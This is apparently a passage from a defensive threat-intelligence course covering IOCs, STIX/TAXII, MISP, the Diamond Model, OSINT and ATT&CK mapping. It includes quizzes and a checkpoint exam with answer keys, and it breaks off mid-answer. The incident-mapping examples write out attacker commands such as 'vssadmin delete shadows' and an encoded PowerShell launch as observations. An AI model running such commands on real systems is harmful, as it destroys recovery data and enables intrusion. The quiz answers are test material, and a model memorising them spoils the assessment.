A report on a malware campaign lists 12 hashes, 5 IPs, 3 domains and a behavior: a scheduled task named by a pattern, created by an Office macro, which calls rundll32. The team places the hashes and IPs at the bottom as fragile and writes a detection for the task creation pattern, which sits higher and should survive the next rebuild. Two weeks later the hashes have changed, but the behavior rule still fires on the new variant.

KEY TERMS

IOC: An observable artifact indicating a likely intrusion.

TTP: The tactics, techniques and procedures an adversary uses.

Pyramid of Pain: A model ranking indicators by how much their denial hurts an attacker.

ATT&CK: A MITRE knowledge base of adversary tactics and techniques.

Technique ID: An identifier such as T1566 for a specific ATT&CK technique.

REMEMBER

- IOCs are easy to match but short-lived.
- The Pyramid of Pain shows behaviors cause the most pain to adversaries.
- Use IOCs for speed and TTP detections for durability.

QUICK CHECK

1. Which level of the Pyramid of Pain is the easiest for attackers to change?
 - A) TTPs
 - B) Tools
 - C) Hash values
 - D) Network artifacts
2. What do TTPs describe?
 - A) File sizes
 - B) How an adversary operates
 - C) Port numbers
 - D) DNS TTL
3. Why do behaviors outlast hashes?
 - A) They are secret
 - B) The attacker must change their method, not just a file
 - C) Hashes are encrypted
 - D) They are shorter
4. T1566 in ATT&CK refers to
 - A) Phishing
 - B) Port scanning
 - C) Ransomware
 - D) Keylogging

Answers: 1-C 2-B 3-B 4-A

1. A recompile changes a hash instantly.
2. They describe behavior and methods.
3. Changing behavior is costly compared with changing artifacts.
4. T1566 is the Phishing technique.

Intel formats: STIX and TAXII

Intelligence is only useful if tools can exchange it. STIX describes it and TAXII moves it, so analysts can share and automate.

STIX 2.1 objects

Structured Threat Information Expression (STIX) 2.1 is a JSON language for describing cyber threat intelligence. STIX Domain Objects (SDOs) include indicator, malware, threat-actor, campaign, intrusion-set, attack-pattern, identity, vulnerability and report. STIX Cyber-observable Objects (SCOs) represent facts like ipv4-addr, domain-name, file and url. Every object has a type, an id of the form type--UUID, created and modified timestamps and a spec_version of 2.1. A bundle is a container object holding many objects for transport. Because it is typed and linked, tools can parse it consistently.

Indicators, relationships and patterns

An indicator object holds a pattern written in the STIX patterning language, for example [ipv4-addr:value = '203.0.113.50'] or [file:hashes.'SHA-256' = '...'], plus valid_from, optional valid_until, and indicator_types such as malicious-activity. An indicator does not say what malware it belongs to by itself. A relationship object links two objects with a relationship_type such as indicates, uses, targets or attributed-to, with source_ref and target_ref. So an indicator indicates a malware object, and an intrusion set uses that malware. These links turn lists of artifacts into a graph of knowledge.

TAXII

Trusted Automated eXchange of Intelligence Information (TAXII) 2.1 is the HTTPS protocol for exchanging STIX. A TAXII server hosts API roots, which contain collections of objects. Clients can discover the server, list collections, get objects (often with filters like added_after) and, if permitted, add objects. Two sharing models exist: a collection model where clients request, and a channel model for publish and subscribe, though 2.1 focuses on collections. Access uses authentication such as basic auth or tokens over TLS. Feeds from ISACs and vendors are often provided this way.

Practical considerations

Validate incoming STIX before ingest, since malformed or poisoned data can pollute your platform. Check valid_from and valid_until, confidence, labels and the TLP marking carried by marking-definition objects, because sharing rules travel with the data. Deduplicate by id, and expire indicators. Remember that STIX describes the data but not its quality; a perfectly structured indicator can still be a false positive. When you build your own reports, include context: the campaign, the malware, and the relationships, so readers do not receive a bare list of IPs.

STIX 2.1 INDICATOR (ABRIDGED)

```
{
  "type": "indicator",
  "spec_version": "2.1",
  "id": "indicator--8e2e2d2b-17d4-4cbe-b5f1-aaaaaaaaaaaa",
  "created": "2026-03-02T00:00:00.000Z",
  "pattern": "[ipv4-addr:value = '203.0.113.50']",
  "pattern_type": "stix",
  "valid_from": "2026-03-02T00:00:00Z",
  "indicator_types": ["malicious-activity"]
}
```

WORKED EXAMPLE

An analyst pulls a collection from a TAXII server and receives a bundle with an indicator for 203.0.113.50, a malware object named ExampleLoader and a relationship of type indicates linking the indicator to that malware. She validates the JSON, checks the TLP marking permits internal sharing, and loads the indicator into the SIEM with the malware name as context. The valid_until date is used to retire it after 30 days.

KEY TERMS

STIX: A JSON language for describing cyber threat intelligence.

TAXII: An HTTPS protocol for exchanging STIX content.

Bundle: A STIX container for a set of objects.

SDO: A STIX Domain Object such as indicator or malware.

Relationship object: A STIX object that links two other objects with a verb like indicates.

REMEMBER

- STIX 2.1 structures intel as typed JSON objects and relationships.
- Indicator patterns use the STIX pattern language.
- TAXII transports STIX in collections over HTTPS.

QUICK CHECK

1. What is TAXII used for?
 - A) Signing email
 - B) Transporting STIX over HTTPS
 - C) Capturing packets
 - D) Encrypting disks
2. Which STIX object describes a detection pattern?
 - A) Indicator
 - B) Identity
 - C) Report only
 - D) Bundle
3. How does STIX link an indicator to malware?
 - A) Relationship object with indicates
 - B) A comment
 - C) A filename
 - D) A port
4. A TAXII collection is
 - A) A group of STIX objects served by the server
 - B) A password
 - C) A DNS record
 - D) A packet capture

Answers: 1-B 2-A 3-A 4-A

1. TAXII defines how STIX data is exchanged.
2. Indicator objects hold a pattern.
3. relationship_type indicates connects them.
4. Collections group objects under an API root.

MISP and intel platforms

A threat intelligence platform stores, correlates and shares indicators. MISP is a widely used open-source example that analysts meet in practice.

MISP data model

MISP, the Malware Information Sharing Platform, organizes intelligence into events. An event describes an incident or report and contains attributes, the individual indicators such as ip-dst, domain, sha256 or url, each with a category and type. Attributes can be flagged to `_ids` to indicate they are suitable for detection. Objects group related attributes, for example a file object with name, hashes and size. Events and attributes can be tagged, and published to make them available to connected instances and communities. Users and organizations have roles that control access.

Tags, taxonomies and galaxies

Tags classify content. Taxonomies are standardized tag namespaces, such as `tlp:amber`, and `admiralty-scale` for source reliability. Galaxies are larger knowledge clusters, for example MITRE ATT&CK techniques, threat actor profiles, malware families and tools, which can be attached to events so that a tag like `misp-galaxy:mitre-attack-pattern` points to a technique. Using these shared vocabularies makes data comparable across teams and allows searching by technique or actor. Consistent tagging is what turns a pile of events into usable intelligence.

Correlation and enrichment

MISP automatically correlates attributes with the same value across events, so seeing 203.0.113.50 in two different events reveals a link between incidents. Enrichment modules query external services for context, such as VirusTotal, passive DNS or WHOIS, and add results to the event. Warninglists flag values likely to be false positives, such as public DNS resolvers, popular domains and private ranges, so you do not distribute them as indicators. Export formats include STIX, CSV, Suricata and Snort rules, and APIs allow SIEM and SOAR integration through the PyMISP library.

Sharing and TLP

Sharing is governed by distribution levels (your organization only, community, connected communities, all) and by the Traffic Light Protocol. TLP:RED is restricted to named recipients, TLP:AMBER limited to the organization and its clients (TLP:AMBER+STRICT to the organization only), TLP:GREEN to the community and TLP:CLEAR for public release. Before sharing, remove sensitive details such as internal hostnames, victim names and personal data, and ask whether sharing helps defenders without exposing your organization. Feed back sightings, since confirming or disputing indicators improves the community data.

MISP EVENT (SUMMARY)

```
Event 1042: ExampleLoader campaign tags: tlp:amber, misp-galaxy:mitre-attack-pattern="Phishing - T1566"
ip-dst 203.0.113.50 to_ids: yes
domain update.example.net to_ids: yes
sha256 0f1e...a9 to_ids: yes
Correlation: 203.0.113.50 also in Event 987 (Q4 incident)
```

WORKED EXAMPLE

An analyst adds the IP, domain and hash from a phishing incident to a new MISP event, tags it `tlp:amber` and the ATT&CK technique for phishing, and publishes. MISP correlates 203.0.113.50 with an older event from a partner, linking the two incidents to one campaign. A warninglist flags one candidate address as a public resolver, so she removes it. The event is shared with the trusted community only, with internal hostnames removed.

KEY TERMS

Event (MISP): A container for related intelligence about an incident or report.

Attribute: A single indicator within a MISP event.

Galaxy: A MISP knowledge cluster such as ATT&CK techniques or threat actors.

Warninglist: A list of values likely to be false positives.

TLP: The Traffic Light Protocol for labeling sharing limits.

REMEMBER

- MISP stores events with attributes, objects, tags and galaxies.
- Correlation, enrichment and warninglists add context and reduce errors.
- Share by TLP and distribution level, after removing sensitive data.

QUICK CHECK

1. What is the to_ids flag?
 - A) The attribute is suitable for detection
 - B) The attribute is secret
 - C) The attribute is deleted
 - D) It sets TLP
2. What does MISP correlation do?
 - A) Encrypts events
 - B) Links events sharing the same attribute value
 - C) Deletes duplicates
 - D) Sends email
3. Which TLP label allows only named recipients?
 - A) TLP:CLEAR
 - B) TLP:GREEN
 - C) TLP:AMBER
 - D) TLP:RED
4. Why use warninglists?
 - A) Prevent sharing false-positive-prone values such as public resolvers
 - B) Speed up DNS
 - C) Encrypt data
 - D) Rename tags

Answers: 1-A 2-B 3-D 4-A

1. to_ids marks attributes meant for IDS and blocking use.
2. Matching values across events reveal relationships.
3. TLP:RED is restricted to named recipients.
4. They flag benign values that should not become indicators.

Diamond Model and intel-driven defense

Indicators alone do not explain an intrusion. The Diamond Model connects them, and intel-driven defense turns the result into detections and blocks.

The four vertices

The Diamond Model of Intrusion Analysis describes each malicious event with four core features: adversary (who is behind it), capability (the tools and techniques, such as a loader or exploit), infrastructure (the physical or logical resources used, such as domains, IPs and email accounts) and victim (the target person, organization or asset). Edges between the vertices show relationships: the adversary uses a capability over infrastructure against a victim. Meta-features add timestamp, phase, result, direction, methodology and resources, so each event is a documented fact.

Pivoting

Pivoting means using one vertex to discover others. From the victim, you find the capability that hit it. From the capability, such as a malware sample, you find the infrastructure it contacted. From the infrastructure, such as a domain, you find other domains on the same IP or sharing a certificate, which reveals more victims and maybe the adversary's habits. Each new discovery is placed in the model as another event. Activity threads link events across time into campaigns, and activity groups cluster threads that likely come from the same actor.

Kill chain and ATT&CK context

Place Diamond events within a framework. The Lockheed Martin Cyber Kill Chain sequences reconnaissance, weaponization, delivery, exploitation, installation, command and control and actions on objectives, while ATT&CK offers fine-grained techniques. Mapping events to phases highlights where defenders can intervene, and which phases lack visibility. Detections early in the chain, like phishing email blocks, cost the adversary more than detections in late phases. Attribution is a separate and hard step; avoid naming an actor without strong, multi-source evidence and clear confidence.

Turning intel into defense

Intel-driven defense converts findings into action. Block or sinkhole confirmed infrastructure at the proxy, DNS and firewall; run retrospective searches in the SIEM and EDR for historical hits to see if you were already breached; write detection rules for the capability and behaviors, mapped to ATT&CK; and add monitoring for the victim assets most likely targeted. Measure results: how many hits, how many true positives, and the time between report and deployment. Share what you learn so others can protect themselves, and update the model as new events appear.

DIAMOND MODEL NOTES

```
Adversary: unknown actor 'ExampleCrew' (low confidence)
Capability: ExampleLoader, macro doc, PowerShell stager
Infrastructure: update.example.net -> 203.0.113.50
Victim: Accounting staff, EXAMPLE Corp
Pivot: 203.0.113.50 also hosts login-example-secure.example.net
Action: block both, hunt 30 days, add T1059.001 rule
```

WORKED EXAMPLE

From an incident report, the analyst fills the diamond: victim is the accounting team, capability is a macro document that runs a PowerShell stager, infrastructure is update.example.net on 203.0.113.50, adversary is unknown. She pivots on the IP and finds a second domain with a similar name on the same address, which is added as a new node. She blocks both, searches the SIEM for 30 days of hits, and creates a detection for the PowerShell stager behavior.

KEY TERMS

Diamond Model: A framework linking adversary, capability, infrastructure and victim for each intrusion event.

Infrastructure: The domains, IPs and accounts an adversary uses to operate.

Pivot: Moving from one known artifact to related ones.

Activity thread: A chain of related events across time.

Retrospective search: Searching historical logs for newly learned indicators.

REMEMBER

- The Diamond Model links adversary, capability, infrastructure and victim.
- Pivoting expands from one artifact to related ones.
- Convert intel into blocks, retrospective hunts and behavior detections.

QUICK CHECK

1. Which are the four vertices of the Diamond Model?

- A) Adversary, capability, infrastructure, victim
- B) Source, sink, hash, port
- C) Plan, do, check, act
- D) Red, blue, green, amber

2. A domain is which Diamond element?

- A) Infrastructure
- B) Victim
- C) Adversary
- D) Capability

3. Why run retrospective searches?

- A) To see whether the indicators already appeared in past logs
- B) To delete logs
- C) To update TLP
- D) To speed up DNS

4. What is needed before attributing activity to a named actor?

- A) A guess
- B) Strong multi-source evidence and stated confidence
- C) A tweet
- D) Nothing

Answers: 1-A 2-A 3-A 4-B

1. Those four features describe every event.
2. Domains and IPs are infrastructure.
3. New intel may reveal earlier compromise.
4. Attribution requires solid evidence and honest confidence.

OSINT for analysts

Open-source intelligence lets you enrich an alert in minutes with public data. Doing it safely avoids tipping off attackers or exposing your own organization.

Principles and safety

OSINT uses publicly available sources. Before looking up an indicator, consider operational security. Submitting a file or URL to public scanners may make it visible to others, including the adversary, and can leak internal data if the file is unique to your organization. Prefer hash lookups for files, use a separate research environment and browser profile, avoid logging in with corporate accounts, and never interact with attacker infrastructure beyond what is needed. Follow legal and policy limits. Record each source and the time of the lookup, because public data changes.

IPs, domains and hashes

For an IP, look at WHOIS or RDAP for the network owner and country, reverse DNS, passive DNS for domains previously hosted, and Shodan or Censys for open ports, banners and certificates. For a domain, check WHOIS creation date and registrar, DNS records, passive DNS history, the TLS certificate and Certificate Transparency logs, and reputation. For a file hash, search VirusTotal for detection counts, names, first seen date, relationships and behavior. Hosting providers and CDNs mean one IP may serve thousands of unrelated sites, so judge shared hosting carefully.

Tools for context

VirusTotal aggregates antivirus and URL scanner verdicts and relationships between files, domains and IPs. urlscan.io loads a page and records requests, screenshots and the DOM so you can see a phishing page without visiting it yourself. Passive DNS services such as those from commercial vendors show historical resolutions. Shodan indexes internet-facing services. Other useful sources include AbuseIPDB, MalwareBazaar, ThreatFox, GreyNoise (to tell mass scanners from targeted activity) and Certificate Transparency search such as crt.sh. No single source is authoritative, so look for agreement across several.

Judgment and recording

Reputation data produces false positives and gaps. A single engine detecting a file may be noise, while zero detections on a new sample does not make it safe. Weigh age, relationships and context: a domain created yesterday that resolves to an IP also hosting known phishing is stronger than one flag. Write findings with source, time, defanged indicators and your confidence. Feed validated indicators into your intel platform with tags and expiry, and note unanswered questions for further research. Keep the target in mind: enrich enough to decide, not to wander.

ENRICHMENT NOTES (DEFANGED)

```
IP 203.0.113.50: AS64500 Example Hosting, reverse DNS none
Passive DNS: update[.]example[.]net (first seen 2026-02-28)
Open ports: 80, 443; cert CN=update.example.net issued 2026-02-28
Domain update[.]example[.]net: created 2026-02-28 (3 days)
SHA-256 0f1e...a9: 41/72 detections, first seen 2026-03-01
```

WORKED EXAMPLE

An alert names 203.0.113.50. The analyst finds in WHOIS that the owner is a hosting provider, passive DNS shows update.example.net first appeared three days ago, the TLS certificate was issued the same day, and the file hash from the endpoint has 41 of 72 detections. These agree: new domain, new certificate, known malicious file. She records the findings defanged with the lookup times, rates her confidence as high, and escalates for blocking.

KEY TERMS

OSINT: Intelligence gathered from publicly available sources.

Passive DNS: A historical database of observed DNS resolutions.

WHOIS/RDAP: Registration data about domains and IP address blocks.

Certificate Transparency: Public logs of issued TLS certificates, searchable for domains.

Shodan: A search engine that indexes internet-connected services and banners.

REMEMBER

- OSINT enrichment should be safe: separate environment, no sensitive uploads.
- Combine WHOIS, passive DNS, certificates, VirusTotal, Shodan and urlscan.
- Record sources and time, defang indicators and state confidence.

QUICK CHECK

1. Why prefer a hash lookup over uploading a sample to a public scanner?

- A) It is slower
- B) Uploads may expose the file and alert the adversary
- C) Hashes cannot be looked up
- D) Scanners do not accept hashes

2. What does passive DNS provide?

- A) Live traffic capture
- B) Historical domain-to-IP resolutions
- C) Password hashes
- D) Email headers

3. A domain registered three days ago with a new certificate is

- A) More suspicious than an aged one
- B) Always safe
- C) Irrelevant
- D) Proof of attribution

4. When sources disagree, you should

- A) Pick the first
- B) Weigh them, look for agreement and state confidence
- C) Ignore all
- D) Delete the alert

Answers: 1-B 2-B 3-A 4-B

1. Public uploads can leak internal data and tip off attackers.
2. It shows which names resolved to which IPs over time.
3. Young infrastructure fits many campaigns but still needs corroboration.
4. No single source is authoritative.

Enrich the indicator

SCENARIO

An alert names IP 203.0.113.50 and domain update.example.net. The proxy simulator mimics VirusTotal, WHOIS and passive DNS pages. All data is fictional.

OBJECTIVE

Look up the IP and domain and record the findings.

STEPS IN THE SIMULATOR

- 1 **Do:** Open VT for 203.0.113.50.

Simulator shows:

Detections 9/90. Last analysis 2026-03-02. Relations: 3 files communicate with this IP.

- 2 **Do:** Open WHOIS/RDAP for the IP.

Simulator shows:

Org: Example Hosting, AS64500, country: NL. Allocation date 2018.

- 3 **Do:** Open passive DNS for the IP.

Simulator shows:

update.example.net (first seen 2026-02-28), login-example-secure.example.net (2026-03-01).

- 4 **Do:** Open WHOIS for update.example.net.

Simulator shows:

Created 2026-02-28, registrar RegCo Example, privacy enabled.

- 5 **Do:** Open the file relation on VT.

Simulator shows:

SHA-256 0f1e...a9, 41/72 detections, name invoice_viewer.exe.

- 6 **Do:** Open the notes tool and record findings.

Simulator shows:

Note saved with source, time and defanged values.

ANSWER

The IP hosts a three-day-old domain and a second lookalike phishing domain, has 9 detections and is linked to a file with 41/72 detections. Findings point to malicious infrastructure; record defanged values with sources and times.

Hint shown in the app: Check how new the domain is and what else resolves to the IP.

Sort IOCs and TTPs

SCENARIO

The diagram builder shows a blank Pyramid of Pain with six levels and a tray of ten indicators from a report.

OBJECTIVE

Place indicators on the Pyramid and mark which are fragile and which are durable.

STEPS IN THE SIMULATOR

- 1 **Do:** Drag SHA-256 0f1e...a9 to a level.

Simulator shows:

Placed at Hash values (Trivial). Marked: fragile.

- 2 **Do:** Drag 203.0.113.50.

Simulator shows:

Placed at IP addresses (Easy). Marked: fragile.

- 3 **Do:** Drag update.example.net.

Simulator shows:

Placed at Domain names (Simple). Marked: fragile.

- 4 **Do:** Drag the user agent python-requests/2.28 and the URI pattern /api/v2/sync.

Simulator shows:

Placed at Network/host artifacts (Annoying). Marked: moderate.

- 5 **Do:** Drag the ExampleLoader tool name.

Simulator shows:

Placed at Tools (Challenging). Marked: durable.

- 6 **Do:** Drag Office macro spawning PowerShell and rundll32.

Simulator shows:

Placed at TTPs (Tough). Marked: durable.

- 7 **Do:** Click Check.

Simulator shows:

All 10 placed correctly. Suggestion: build detections for the top two levels.

ANSWER

Hashes, IPs and domains are fragile and belong at the base. Artifacts are moderate, while the tool and the macro-to-PowerShell-to-rundll32 behavior are durable. Prioritize detections for the TTP and tool levels.

Hint shown in the app: Ask how easily an attacker could change each item.

Read a STIX bundle

SCENARIO

The editor shows a STIX 2.1 bundle with three objects: an indicator, a malware object and a relationship. All values are fictional.

OBJECTIVE

Extract the indicator pattern and the linked malware name.

STEPS IN THE SIMULATOR

- 1 **Do:** Open bundle.json.

Simulator shows:

Bundle with id bundle--11111111-... containing 3 objects.

- 2 **Do:** Find the object with type indicator.

Simulator shows:

pattern: [ipv4-addr:value = '203.0.113.50'], valid_from 2026-03-02T00:00:00Z

- 3 **Do:** Find the object with type malware.

Simulator shows:

name: ExampleLoader, malware_types: [loader], id malware--22222222-...

- 4 **Do:** Find the relationship object.

Simulator shows:

relationship_type: indicates, source_ref indicator--8e2e..., target_ref malware--2222...

- 5 **Do:** Click Validate.

Simulator shows:

Schema valid for STIX 2.1.

- 6 **Do:** Enter your answer.

Simulator shows:

Pattern 203.0.113.50 / malware ExampleLoader accepted.

ANSWER

The indicator pattern is [ipv4-addr:value = '203.0.113.50'] and, via a relationship of type indicates, it is linked to the malware ExampleLoader (a loader). The match is made by source_ref and target_ref ids.

Hint shown in the app: Follow the ids in the relationship object.

Build a Diamond model

SCENARIO

The builder shows an empty Diamond with four vertices and an incident report summary: a phishing email with a macro document led to a PowerShell stager that called update.example.net.

OBJECTIVE

Fill the four vertices from the report and pivot to a related infrastructure node.

STEPS IN THE SIMULATOR

1 Do: Fill Victim.

Simulator shows:

Accounting staff, EXAMPLE Corp. Saved.

2 Do: Fill Capability.

Simulator shows:

Macro document, PowerShell stager, ExampleLoader. Saved.

3 Do: Fill Infrastructure.

Simulator shows:

update.example.net, 203.0.113.50. Saved.

4 Do: Fill Adversary.

Simulator shows:

Unknown (low confidence). Saved.

5 Do: Click Pivot on 203.0.113.50.

Simulator shows:

Related node found: login-example-secure.example.net (passive DNS, same IP).

6 Do: Add the node and link it.

Simulator shows:

New infrastructure node added, linked to the same event. Suggested action: block and hunt.

ANSWER

Victim: accounting staff. Capability: macro, PowerShell stager, ExampleLoader. Infrastructure: update.example.net and 203.0.113.50, pivoting to login-example-secure.example.net. Adversary: unknown, low confidence.

Hint shown in the app: Pivot on the shared IP to find sibling domains.

Threat Intelligence: 10 questions, 80% to pass

1. Which intelligence type best informs a budget decision for executives?
 - A) Technical
 - B) Strategic
 - C) Tactical only
 - D) Packet-level
2. Which phase of the cycle turns processed data into judgments?
 - A) Analysis
 - B) Collection
 - C) Direction
 - D) Feedback
3. Which indicator type is the most trivial for an attacker to change?
 - A) TTP
 - B) Tool
 - C) Hash
 - D) Behavior
4. In ATT&CK, T1566 is
 - A) Phishing
 - B) Brute force
 - C) DNS tunneling
 - D) Ransomware
5. STIX 2.1 is formatted as
 - A) XML only
 - B) JSON
 - C) Binary
 - D) CSV
6. TAXII is
 - A) A packet filter
 - B) An HTTPS protocol for sharing STIX
 - C) A hash algorithm
 - D) A SIEM
7. In MISP, a galaxy is
 - A) A knowledge cluster such as ATT&CK or threat actors
 - B) A user role
 - C) A file type
 - D) A firewall
8. Which TLP level permits public release?
 - A) TLP:RED
 - B) TLP:AMBER
 - C) TLP:GREEN
 - D) TLP:CLEAR
9. An IP address in the Diamond Model belongs to
 - A) Infrastructure
 - B) Victim
 - C) Adversary
 - D) Capability
10. What should you do with a hash lookup of a possibly unique internal file?
 - A) Upload it publicly
 - B) Look up the hash rather than uploading the file
 - C) Email it
 - D) Post it online

Answers: 1-B 2-A 3-C 4-A 5-B 6-B 7-A 8-D 9-A 10-B

1. Strategic intel supports high-level decisions.
2. Analysis produces assessments.
3. Recompiling changes the hash.
4. T1566 is Phishing.
5. STIX 2.1 uses JSON.
6. TAXII exchanges STIX collections.
7. Galaxies bring shared knowledge into events.
8. TLP:CLEAR has no sharing restriction.
9. IPs are infrastructure.
10. Hash lookups avoid leaking the file.

MITRE ATT&CK for Defenders

Intermediate | 5 lessons | 4 simulated labs | checkpoint | about 4h 25m

MITRE ATT&CK is the shared language defenders use to describe adversary behavior. This module teaches how the Enterprise matrix is organized, how to map incidents and detection rules to technique IDs, how to find and prioritize coverage gaps against realistic threat actors, and how to build and share ATT&CK Navigator layers. These skills turn raw alerts and reports into structured evidence that guides detection engineering, hunting and executive reporting.

BY THE END YOU CAN

- + Navigate ATT&CK tactics, techniques and sub-techniques
- + Map detections and incidents to technique IDs
- + Find coverage gaps using ATT&CK Navigator

IN THIS MODULE

Lesson 1 ATT&CK matrix structure

Lesson 2 Mapping incidents to techniques

Lesson 3 Mapping detections to techniques

Lesson 4 Coverage and gap analysis

Lesson 5 ATT&CK Navigator and layers

Lab 1 Map the intrusion (Diagram builder)

Lab 2 Tag the rules (Mock SIEM)

Lab 3 Build a Navigator layer (Scenario)

Lab 4 Choose the next detection (Chat sim)

Checkpoint 10 questions, 80% to pass

ATT&CK matrix structure

Every modern SOC speaks ATT&CK. Knowing how the matrix is organized lets you read threat reports, rules and incident notes without guessing.

What ATT&CK is

MITRE ATT&CK is a publicly maintained knowledge base of adversary behavior built from real-world observations. It is not a checklist, a product or a scoring standard. It describes what attackers do after and during an intrusion so defenders can describe, detect and compare behavior using shared vocabulary. There are separate matrices for Enterprise (Windows, macOS, Linux, cloud, containers, network), Mobile and ICS. This module focuses on Enterprise. The content is versioned, so technique names and counts change between releases; always record which version your team maps against, and do not memorize totals, memorize the structure.

Tactics: the why

Tactics are the columns of the matrix and represent the adversary's short-term goal at a stage of an operation. In the traditional Enterprise ordering they are: Reconnaissance (TA0043), Resource Development (TA0042), Initial Access (TA0001), Execution (TA0002), Persistence (TA0003), Privilege Escalation (TA0004), Defense Evasion (TA0005), Credential Access (TA0006), Discovery (TA0007), Lateral Movement (TA0008), Collection (TA0009), Command and Control (TA0011), Exfiltration (TA0010) and Impact (TA0040). That is 14 tactics. The order is a logical flow, not a strict sequence; attackers loop, skip and repeat tactics. Newer releases may reorganize tactics, so check the current matrix.

Techniques and sub-techniques: the how

A technique is how a goal is achieved, identified by a T-number such as T1059 Command and Scripting Interpreter. A sub-technique adds a dot and three digits for a more specific method: T1059.001 is PowerShell, T1059.003 is Windows Command Shell. A technique can appear under more than one tactic, for example Valid Accounts (T1078) supports Initial Access, Persistence, Privilege Escalation and Defense Evasion. The tactic is the column, the technique is the cell; to reference a cell unambiguously you may write the tactic and ID together.

Reading a technique page

Each technique page lists a description, procedure examples (named groups and software that used it), mitigations (M-numbers such as M1017 User Training), detection guidance and data sources with data components such as Process Creation or Network Traffic Content. Defenders mostly use three parts: procedure examples to learn how real actors implement it, data sources to learn which logs you need, and mitigations to plan prevention. Groups carry G-numbers (G0016 style) and software carries S-numbers. Treat detection text as a starting idea, not a finished rule.

Practice by taking one public threat report and listing every behavior it describes, then looking up each in the matrix. Beginners often find that a single paragraph of a report yields three or four techniques. Over time you will recognize the common ones by sight: PowerShell, scheduled tasks, Run keys, RDP, credential dumping and shadow copy deletion appear in a large share of intrusions. Keep a personal cheat sheet of the twenty IDs you meet most often and update it as you learn.

ATT&CK IDS

```
TA0002 Execution (tactic)
T1059 Command and Scripting Interpreter (technique)
T1059.001 PowerShell (sub-technique)
M1017 User Training (mitigation)
G-numbers = groups, S-numbers = software
Data source: Process -> Process Creation
```

WORKED EXAMPLE

An analyst reads a report saying an actor sent a macro-enabled document that launched PowerShell. She opens the technique pages for T1566.001 and T1059.001, checks the data components listed (Process Creation, Command Execution, Script Execution), notes that Process Creation with command line logging is needed, and confirms those logs exist in the SIEM before judging whether her team can see this behavior at all.

KEY TERMS

Tactic: The adversary's goal at a stage of the attack, shown as a matrix column.

Technique: A specific method used to reach a tactic goal, with an ID like T1059.

Sub-technique: A more specific variant of a technique, written T####.###.

Data source: The type of telemetry, such as Process Creation, that can reveal a technique.

Mitigation: A defensive control or configuration listed against a technique, with an M-number.

Procedure: A concrete real-world implementation of a technique by a group or tool.

REMEMBER

- Tactics are goals, techniques are methods, sub-techniques are variants.
- There are 14 traditional Enterprise tactics, ordered logically but not strictly.
- Use procedure examples, data sources and mitigations on each technique page.

QUICK CHECK

1. What does a tactic represent in ATT&CK?
 - A) The tool used
 - B) The adversary's goal at a stage
 - C) The log source
 - D) The detection rule
2. Which ID is a sub-technique?
 - A) TA0002
 - B) T1059
 - C) T1059.001
 - D) M1017
3. Which tactic follows Initial Access in the traditional ordering?
 - A) Impact
 - B) Execution
 - C) Exfiltration
 - D) Discovery
4. Why can Valid Accounts appear under several tactics?
 - A) It is a mistake
 - B) One technique can serve multiple goals
 - C) Only the newest release lists it
 - D) It is a mitigation

Answers: 1-B 2-C 3-B 4-B

1. Tactics are the why; techniques are the how.
2. Sub-techniques use the T####.### format.
3. The order runs Initial Access then Execution.
4. Techniques can support several tactic goals.

Mapping incidents to techniques

Mapping turns a messy narrative into structured, comparable evidence that supports reporting, hunting and trend analysis.

Start from behavior, not tools

Mapping begins with what the adversary did, expressed as an action on a system, not the name of a malware family or a vague label like 'hacking'. Write each observation as a short sentence: 'user opened a .docm attachment', 'winword.exe spawned powershell.exe with an encoded command', 'rundll32 accessed lsass memory'. Then find the technique whose description matches the action. Avoid mapping from tool names alone, because tools can implement many techniques and the same technique can be reached with many tools. Evidence should be attached to every mapping so a reviewer can verify it.

Worked mappings

Common mappings include: phishing email with a malicious attachment, T1566.001; user double-clicking the attachment, T1204.002 User Execution: Malicious File; PowerShell running an encoded command, T1059.001 plus T1027 Obfuscated Files or Information; dumping LSASS memory, T1003.001; creating a scheduled task for persistence, T1053.005; a Run key value in the registry, T1547.001; remote desktop to another host, T1021.001; archiving files before transfer, T1560; upload to a cloud storage site, T1567; encrypting files, T1486; deleting shadow copies, T1490.

Choose the most specific level

Prefer the sub-technique when evidence supports it, and the parent technique when it does not. If you only know a command shell was used but not which, map T1059. Map one event to several techniques when it genuinely shows several behaviors, but do not inflate: one log line rarely proves five techniques. Record confidence (confirmed, likely, possible) and the evidence source such as an EDR event ID or a packet capture. A mapping without evidence is an opinion and degrades downstream trend data.

Building the attack narrative

Place mapped techniques on a timeline and group them by tactic. The result is a story: Initial Access (T1566.001), Execution (T1204.002, T1059.001), Credential Access (T1003.001), Lateral Movement (T1021.001), Collection (T1560), Exfiltration (T1567), Impact (T1486). Gaps in the story are valuable: if you see lateral movement but no credential access, either logging missed it or the adversary reused known credentials (T1078). Gaps become hunting leads and logging requests.

Be careful with ambiguity. A single behavior such as 'a service was installed' can be persistence (T1543.003), privilege escalation or lateral movement via service execution (T1569.002), depending on context. When the same evidence fits more than one technique, state the competing options and the question that would settle it, for instance whether the service was created locally or remotely. Peer review of mappings is a cheap quality control: a second analyst maps the same notes independently and the team discusses differences.

INCIDENT MAP

```
Observation Technique
Email with .docm attached T1566.001
winword.exe -> powershell.exe -enc ... T1059.001, T1027
rundll32 reads lsass memory T1003.001
Schtasks /create on file server T1053.005
vssadmin delete shadows T1490
```

WORKED EXAMPLE

Responders find that on host WS-14 (192.0.2.44) a Word document spawned PowerShell, and ten minutes later a new scheduled task named UpdateCheck appeared. The report maps the first event to T1204.002 and T1059.001, the task to T1053.005, and flags credential access as unknown because no memory-access telemetry was collected. The unknown becomes an action item to enable that logging.

KEY TERMS

Behavior: An observable action by an adversary on a system or network.

Evidence: The log, file or capture that supports a mapping.

Confidence: How strongly the evidence supports the mapped technique.

T1566.001: Phishing: spearphishing attachment.

T1003.001: OS credential dumping from LSASS memory.

T1059.001: Command and scripting interpreter: PowerShell.

REMEMBER

- Map behavior with evidence, not tool names.
- Use the most specific level the evidence supports.
- Gaps in the mapped story are hunting leads.

QUICK CHECK

1. What should a mapping start from?
 - A) The malware name
 - B) Observed behavior
 - C) The attacker's country
 - D) The tool vendor
2. A scheduled task created for persistence maps best to:
 - A) T1053.005
 - B) T1566.001
 - C) T1486
 - D) T1003.001
3. When evidence only shows a command shell was used, you should map:
 - A) The most specific guess
 - B) The parent technique T1059
 - C) Nothing
 - D) T1486
4. Why record confidence and evidence with each mapping?
 - A) For decoration
 - B) So reviewers can verify and trends stay reliable
 - C) ATT&CK requires it for upload
 - D) To lower alert counts

Answers: 1-B 2-A 3-B 4-B

1. Behavior is tool-independent and verifiable.
2. T1053.005 is Scheduled Task.
3. Use the level the evidence supports.
